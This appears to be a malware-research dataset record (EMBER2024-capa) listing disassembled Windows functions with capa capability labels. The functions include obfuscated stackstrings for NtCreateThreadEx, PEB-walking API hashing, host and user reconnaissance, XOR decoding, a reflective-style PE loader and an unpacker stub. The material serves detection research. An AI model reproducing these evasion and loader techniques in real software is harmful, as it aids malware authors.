joyce8/EMBER2024-capa huggingface dataset:
Function at 0x36005798
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x50
mov rbx, rcx
lea rcx, [rax - 0x38]
mov byte [rax - 0x38], 0x6e
mov byte [rax - 0x37], 0x74
mov byte [rax - 0x36], 0x64
mov byte [rax - 0x35], 0x6c
mov byte [rax - 0x34], 0x6c
mov byte [rax - 0x33], 0
call qword [rbx + 8]
lea rdx, [rsp + 0x30]
mov rcx, rax
mov byte [rsp + 0x30], 0x4e
mov byte [rsp + 0x31], 0x74
mov byte [rsp + 0x32], 0x43
mov byte [rsp + 0x33], 0x72
mov byte [rsp + 0x34], 0x65
mov byte [rsp + 0x35], 0x61
mov byte [rsp + 0x36], 0x74
mov byte [rsp + 0x37], 0x65
mov byte [rsp + 0x38], 0x54
mov byte [rsp + 0x39], 0x68
mov byte [rsp + 0x3a], 0x72
mov byte [rsp + 0x3b], 0x65
mov byte [rsp + 0x3c], 0x61
mov byte [rsp + 0x3d], 0x64
mov byte [rsp + 0x3e], 0x45
mov byte [rsp + 0x3f], 0x78
mov byte [rsp + 0x40], 0
call qword [rbx]
mov qword [rbx + 0x70], rax
add rsp, 0x50
pop rbx
ret

Function at 0x36006470
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword gs:[0x30]
mov r11d, ecx
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
xor edx, edx
lea r9, [rax + 0x20]
mov r8, qword [r9]
cmp r8, r9
je 0x360064ff
lea rcx, [r8 - 0x10]
cmp rcx, rdx
je 0x360064f6
cmp r11d, edx
je 0x360064fb
movzx ebx, word [rcx + 0x58]
mov rdi, qword [rcx + 0x60]
mov r10d, edx
shr ebx, 1
mov esi, edx
je 0x360064f1
movzx eax, word [rdi]
cmp ax, dx
je 0x360064f1
cmp ax, 0x61
jb 0x360064da
mov ebp, 0xffdf
and ax, bp
imul r10d, r10d, 0x1003f
movzx eax, ax
inc esi
add r10d, eax
add rdi, 2
cmp esi, ebx
jb 0x360064c4
cmp r10d, r11d
je 0x360064fb
mov r8, qword [r8]
jmp 0x360064a0
mov rdx, qword [rcx + 0x30]
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rax, rdx
ret
Function at 0x36009094
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
and dword [rsp + 0x48], 0
mov rax, qword [0x3601c018]
mov qword [rcx], rax
mov dword [rsp + 0x48], 1
mov edx, 0x10
mov dword [rsp + 0x50], edx
call fcn.36006ad8
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov rcx, rbx
call fcn.36006c34
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rbx]
mov dword [rcx - 8], eax
movsxd rcx, eax
mov rax, qword [rbx]
mov byte [rcx + rax], 0
mov rax, rbx
add rsp, 0x30
pop rbx
ret

Function at 0x36009108
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbx, rcx
and dword [rsp + 0x48], 0
mov rax, qword [0x3601c018]
mov qword [rcx], rax
mov dword [rsp + 0x48], 1
mov edx, 0x1f4
mov dword [rsp + 0x50], edx
call fcn.36006ad8
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rcx, rbx
call fcn.36006c34
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rbx]
mov dword [rcx - 8], eax
movsxd rcx, eax
mov rax, qword [rbx]
mov byte [rcx + rax], 0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
Function at 0x3600917c
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
movsxd rbp, r8d
mov r12, rdx
mov rdi, rcx
and dword [rax + 0x20], 0
test rdx, rdx
je 0x3600935e
test r8d, r8d
je 0x3600935e
and dword [rax + 0x10], 0
lea rdx, [rbp + rdx - 4]
mov r8d, 4
lea rcx, [rax + 0x10]
call fcn.36010800
mov eax, dword [rsp + 0x78]
shr eax, 0x10
mov ecx, 0xd8a9
xor ax, cx
je 0x360091f6
lea rdx, [0x36001570]
mov rcx, rdi
call fcn.36008ebc
nop
mov rax, rdi
jmp 0x3600936e
movzx esi, word [rsp + 0x78]
xor esi, 0x95f4
jl 0x36009349
mov eax, 0x66666667
imul ebp
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp esi, edx
jg 0x36009349
mov ebx, ebp
sub ebx, esi
sub ebx, 4
lea eax, [rbx + rsi + 4]
cmp eax, ebp
je 0x36009247
lea rdx, [0x36001570]
mov rcx, rdi
call fcn.36008ebc
nop
mov rax, rdi
jmp 0x3600936e
movsxd rbp, esi
mov rcx, rbp
call fcn.360107dc
mov qword [rsp + 0x28], rax
test ebx, ebx
js 0x36009297
movsxd r10, ebx
add r10, r12
lea r8, [r10 - 1]
mov r9, r8
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
mov rdx, r8
sub rdx, rcx
test esi, esi
jle 0x36009297
mov ecx, esi
mov al, byte [r9]
xor byte [r10], al
dec r9
inc r10
cmp r9, rdx
cmove r9, r8
sub rcx, 1
jne 0x3600927e
mov rax, qword [0x3601c018]
mov qword [rsp + 0x20], rax
movsxd rbx, ebx
add rbx, r12
mov edx, esi
lea rcx, [rsp + 0x20]
call fcn.36006ad8
mov rcx, rax
mov r8, rbp
mov rdx, rbx
call fcn.36010800
lea rcx, [rsp + 0x20]
call fcn.36006c34
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [rbx - 8], eax
cdqe
mov byte [rax + rbx], 0
lea rsi, [rbx - 0xc]
cmp dword [rsi], 0
jl 0x360092f6
mov qword [rdi], rbx
lock add dword [rsi], 1
jmp 0x3600930b
mov rax, qword [0x3601c018]
mov qword [rdi], rax
mov rdx, rbx
mov rcx, rdi
call fcn.360087f4
mov dword [rsp + 0x88], 1
cmp rsi, qword [0x3601c010]
je 0x36009335
or eax, 0xffffffff
lock xadd dword [rsi], eax
dec eax
test eax, eax
jg 0x36009335
mov rcx, rsi
call fcn.360107d4
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x36009344
call fcn.360107cc
mov rax, rdi
jmp 0x3600936e
lea rdx, [0x36001570]
mov rcx, rdi
call fcn.36008ebc
nop
mov rax, rdi
jmp 0x3600936e
lea rdx, [0x36001570]
call fcn.36008ebc
nop
mov rax, rdi
add rsp, 0x40
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x3600ce9c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov r8d, edx
test rcx, rcx
je 0x3600cf47
mov r11d, 0x5a4d
mov r10d, 0x4550
cmp word [rcx], r11w
jne 0x3600cf47
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x3600cf03
lea rdx, [rax + 4]
mov r9d, 0x8664
cmp word [rdx], r9w
jne 0x3600cf03
mov r9d, 0x20b
cmp word [rax + 0x18], r9w
jne 0x3600cf03
cmp dword [rax + 0x84], 0x10
jne 0x3600cf03
test rdx, rdx
je 0x3600cf03
mov edx, r8d
call fcn.3600bc7c
jmp 0x3600cf49
cmp word [rcx], r11w
jne 0x3600cf47
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r10d
jne 0x3600cf47
lea rdx, [rax + 4]
mov r9d, 0x14c
cmp word [rdx], r9w
jne 0x3600cf47
mov r9d, 0x10b
cmp word [rax + 0x18], r9w
jne 0x3600cf47
cmp dword [rax + 0x74], 0x10
jne 0x3600cf47
test rdx, rdx
je 0x3600cf47
mov edx, r8d
call fcn.3600bda8
jmp 0x3600cf49
xor eax, eax
add rsp, 0x28
ret
Function at 0x3600e448
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rcx
cmp rcx, rbx
je 0x3600e580
mov r10d, 0x5a4d
mov r9d, 0x4550
cmp word [rcx], r10w
jne 0x3600e4c1
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], r9d
jne 0x3600e4c1
lea rcx, [rax + 4]
mov r8d, 0x8664
cmp word [rcx], r8w
jne 0x3600e4c1
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x3600e4c1
cmp dword [rax + 0x84], 0x10
jne 0x3600e4c1
cmp rcx, rbx
je 0x3600e4c1
cmp edx, ebx
mov rcx, rdi
lea edx, [rbx + 2]
je 0x3600e4ba
call fcn.3600d020
jmp 0x3600e523
call fcn.3600bbd4
jmp 0x3600e523
cmp word [rdi], r10w
jne 0x3600e580
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
cmp dword [rax], r9d
jne 0x3600e580
lea rcx, [rax + 4]
mov r8d, 0x14c
cmp word [rcx], r8w
jne 0x3600e580
mov r8d, 0x10b
cmp word [rax + 0x18], r8w
jne 0x3600e580
cmp dword [rax + 0x74], 0x10
jne 0x3600e580
cmp rcx, rbx
je 0x3600e580
cmp edx, ebx
mov rcx, rdi
mov edx, 2
je 0x3600e51e
call fcn.3600d184
jmp 0x3600e523
call fcn.3600bd00
mov r11, rax
cmp rax, rbx
je 0x3600e580
mov ecx, 0x28
lea rax, [rax - 0x28]
mov r8d, 0x6ce2e355
cmp dword [rax], r8d
je 0x3600e582
dec rcx
inc rax
cmp rcx, rbx
jne 0x3600e53a
cmp r11, rdi
jb 0x3600e580
mov rdx, r11
cmp dword [rdx], r8d
jne 0x3600e56d
mov eax, 0xce21
cmp word [rdx + 4], ax
jne 0x3600e56d
mov eax, 0x47c2
cmp word [rdx + 6], ax
je 0x3600e58d
inc ebx
mov rcx, r11
dec rdx
movsxd rax, ebx
sub rcx, rax
cmp rcx, rdi
jae 0x3600e552
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rdx
jmp 0x3600e582

Function at 0x3600e594
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
sub rsp, 0x250
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov rax, rdx
mov rbx, rcx
and dword [r11 + 0x20], 0
mov edx, r8d
mov rcx, rax
call fcn.3600e448
test rax, rax
jne 0x3600e5d7
lea rcx, [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoCreateGuid]
lea rax, [rsp + 0x30]
mov byte [rsp + 0x20], 0x47
mov byte [rsp + 0x21], 0x6c
mov byte [rsp + 0x22], 0x6f
mov byte [rsp + 0x23], 0x62
mov byte [rsp + 0x24], 0x61
mov byte [rsp + 0x25], 0x6c
mov byte [rsp + 0x26], 0x5c
mov byte [rsp + 0x27], 0x25
mov byte [rsp + 0x28], 0x53
mov byte [rsp + 0x29], 0
mov r8d, 0xff
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.ole32.dll_StringFromGUID2]
mov r11, qword [0x3601c018]
mov qword [rbx], r11
mov dword [rsp + 0x278], 1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.36008fdc
mov rax, rbx
add rsp, 0x250
pop rbx
ret
Function at 0x3600e654
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor r15d, r15d
mov rbp, r9
mov r14d, r8d
mov rdi, rdx
mov rsi, rcx
cmp r9, r15
je 0x3600e687
mov qword [r9], r15
cmp rdx, r15
jne 0x3600e694
or eax, 0xffffffff
jmp 0x3600e860
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x3600e85b
movsxd rax, dword [rdx + 0x3c]
mov edx, 0x4550
cmp dword [rax + rdi], edx
jne 0x3600e85b
lea rcx, [rax + rdi + 4]
mov r8d, 0x8664
cmp word [rcx], r8w
jne 0x3600e85b
mov r9d, 0x20b
cmp word [rax + rdi + 0x18], r9w
jne 0x3600e85b
cmp dword [rax + rdi + 0x84], 0x10
jne 0x3600e85b
cmp rcx, r15
je 0x3600e85b
cmp dword [rax + rdi], edx
jne 0x3600e714
cmp word [rax + rdi + 4], r8w
jne 0x3600e714
lea rcx, [rax + rdi + 0x18]
cmp word [rcx], r9w
jne 0x3600e714
cmp dword [rax + rdi + 0x84], 0x10
je 0x3600e717
mov rcx, r15
mov r12, qword [rcx + 0x18]
test byte [rcx + 0x46], 0x40
mov eax, dword [rcx + 0x38]
cmovne r12, r15
add eax, 0x7ff
mov r9d, 0x40
and eax, 0xfffffc00
mov r8d, 0x3000
mov rcx, r12
mov edx, eax
mov r13d, eax
call qword [rsi + 0x18]
mov rbx, rax
cmp rax, r15
jne 0x3600e775
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r13
xor ecx, ecx
call qword [rsi + 0x18]
mov rbx, rax
cmp rax, r15
jne 0x3600e775
mov eax, 0xfffffffb
jmp 0x3600e860
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call fcn.36008264
mov r11, qword [rsp + 0x70]
cmp r11, r15
je 0x3600e7a2
mov rdx, rsi
mov rcx, rbx
call r11
cmp eax, r15d
jne 0x3600e7bc
mov edi, 0xfffffffa
jmp 0x3600e7d9
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.3600d210
cmp eax, r15d
jne 0x3600e7bc
mov edi, 0xfffffff9
jmp 0x3600e7d9
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.36007f38
cmp eax, r15d
jne 0x3600e7eb
cmp rbx, r12
je 0x3600e7eb
mov edi, 0xfffffff8
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [rsi + 0x30]
mov eax, edi
jmp 0x3600e860
cmp rbx, r15
je 0x3600e82a
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
cmp dword [rax], 0x4550
jne 0x3600e82a
mov ecx, 0x8664
cmp word [rax + 4], cx
jne 0x3600e82a
lea rcx, [rax + 0x18]
mov edx, 0x20b
cmp word [rcx], dx
jne 0x3600e82a
cmp dword [rax + 0x84], 0x10
jne 0x3600e82a
cmp rcx, r15
je 0x3600e82a
mov qword [rcx + 0x18], rbx
mov r8d, 1
mov rdx, rbx
mov rcx, rsi
call fcn.360080ac
mov edi, r15d
cmp r14d, r15d
je 0x3600e850
mov rdx, rbx
mov rcx, rsi
call fcn.36007e64
mov edi, eax
cmp rbp, r15
je 0x3600e7d9
mov qword [rbp], rbx
jmp 0x3600e7e7
mov eax, 0xfffffffe
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x3600fea0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x148
mov rcx, qword [0x3601d190]
lea rdx, [rsp + 0x30]
mov r8d, 0x103
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r11, [rsp + 0x150]
lea r8, [0x3600fdd8]
mov qword [rsp + 0x28], r11
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
add rsp, 0x148
ret
Function at 0x360119c8
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.36013fc0
nop
cmp dword [0x3601d458], 1
je 0x36011974
mov dword [0x3601d454], 1
mov byte [0x3601d450], r12b
test ebx, ebx
jne 0x36011960
mov rcx, qword [0x3601e4d8]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x3601194d
mov rcx, qword [0x3601e4d0]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x360118ec
call fcn.36012040
cmp qword [rdi], rax
jne 0x360118ec
jmp 0x360118d2
cmp rdi, rsi
jb 0x3601194d
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.36012040
mov qword [rdi], rax
call rbx
mov rcx, qword [0x3601e4d8]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x3601e4d0]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x3601192b
cmp r13, rax
je 0x3601194b
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x360118d2
lea rdx, [0x36001440]
lea rcx, [0x36001438]
call fcn.3601171c
lea rdx, [0x36001450]
lea rcx, [0x36001448]
call fcn.3601171c
nop
test r12d, r12d
je 0x36011983
mov ecx, 8
call fcn.36013ec0
test r12d, r12d
jne 0x360119ae
mov dword [0x3601d458], 1
lea ecx, [r12 + 8]
call fcn.36013ec0
mov ecx, r15d
call fcn.360116b0
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x3601183c

Function at 0x360119d4
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x3601183c
Function at 0x360161f8
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.36012040
xor ebx, ebx
mov rdi, rax
cmp qword [0x3601dbb0], rbx
jne 0x360162fe
lea rcx, [0x36002398]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x360163d3
lea rdx, [0x36002388]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x360163d3
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x36002378]
mov rcx, rsi
mov qword [0x3601dbb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x36002360]
mov rcx, rsi
mov qword [0x3601dbb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x36002340]
mov rcx, rsi
mov qword [0x3601dbc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x3601dbd0], rax
test rax, rax
je 0x360162f5
lea rdx, [0x36002328]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x3601dbc8], rax
jmp 0x36016305
mov rax, qword [0x3601dbc8]
jmp 0x3601630c
mov rax, qword [0x3601dbc8]
mov r11, qword [0x3601dbd0]
cmp rax, rdi
je 0x36016374
cmp r11, rdi
je 0x36016374
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x3601dbd0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x36016374
test rax, rax
je 0x36016374
call rsi
test rax, rax
je 0x3601636e
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x3601636e
test byte [rsp + 0x38], 1
jne 0x36016374
bts ebp, 0x15
jmp 0x360163b2
mov rcx, qword [0x3601dbb8]
cmp rcx, rdi
je 0x360163b2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x360163b2
call rax
mov rbx, rax
test rax, rax
je 0x360163b2
mov rcx, qword [0x3601dbc0]
cmp rcx, rdi
je 0x360163b2
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x360163b2
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x3601dbb0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x360163d3
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x360163d5
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x36017797
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x3601cdc0]
jne 0x3601679a
rol rcx, 0x10
test cx, 0xffff
jne 0x36016796
repz ret
ror rcx, 0x10
jmp 0x360176f0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x3601dca0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x3601dd98]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x36017775
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x3601dca0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x36017797
mov rax, qword [rsp + 0x88]
mov qword [0x3601dd98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x3601dd38], rax
mov rax, qword [0x3601dd98]
mov qword [0x3601dc10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x3601dd20], rax
mov dword [0x3601dc00], 0xc0000409
mov dword [0x3601dc04], 1
mov rax, qword [0x3601cdc0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x3601cdc8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x3601dc98], eax
mov ecx, 1
call fcn.360166cc
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x36002d18]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x3601dc98], 0
jne 0x3601781e
mov ecx, 1
call fcn.360166cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140001070
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rcx, str.ws2_32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400010a8
lea rdx, str.inet_addr
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140004640], rax
test rax, rax
je 0x140001177
lea rcx, str.iphlpapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x1400010fa
lea rdx, str.IcmpCreateFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.IcmpSendEcho
mov rcx, rbx
mov qword [0x140004648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140004648], 0
mov qword [0x140004638], rax
je 0x1400010fa
test rax, rax
jne 0x14000114c
lea rcx, str.ICMP.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140001163
lea rdx, str.IcmpCreateFile
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.IcmpSendEcho
mov rcx, rbx
mov qword [0x140004648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x140004648], 0
mov qword [0x140004638], rax
je 0x140001163
test rax, rax
je 0x140001163
lea rcx, str.y0u_need_to_specify_a_host_with__t._Try__h_for_more_options_n
call fcn.140001010
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed_to_load_functions___u_
call fcn.140001010
lea rcx, str.failed_to_l0ad_ICMP_library_n
call fcn.140001010
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret

Function at 0x140001a74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001abe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001abe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001abe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001abe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001abe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac0
xor al, al
add rsp, 0x28
ret

Function at 0x6bac2880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6bb0c260]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6bac28f9
mov rcx, r10
call fcn.6bac2750
test eax, eax
je 0x6bac28f9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6bac28f6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6bac28ed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6bac28f9
add r8, 0x28
cmp r8, r9
jne 0x6bac28d8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1400caff0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400caffd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400cb00d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400caff5
lea eax, [rcx + 1]
jmp 0x1400cb01b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400cb02e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400cb014
sub eax, 3
jb 0x1400cb04e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400cb09d
sar eax, 1
movsxd rbp, eax
jb 0x1400cb084
jmp 0x1400cb05c
add ebx, ebx
jne 0x1400cb05a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400cb084
inc ecx
add ebx, ebx
jne 0x1400cb06a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400cb084
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400cb07d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400cb06c
add ecx, 2
jmp 0x1400cb089
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400cafb2
jmp 0x1400caffd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x8d800
mov dl, 0x19
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400cb0e9
cmp rsi, rcx
jae 0x1400cb0f1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400cb0d0
cmp al, 0x8f
ja 0x1400cb0d0
cmp byte [rsi - 2], 0xf
je 0x1400cb0d6
sub al, 0xe8
cmp al, 1
ja 0x1400cb0ba
cmp rsi, rcx
jae 0x1400cb0f1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400cb0c0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400cb0f1
lodsb al, byte [rsi]
jmp 0x1400cb0d0
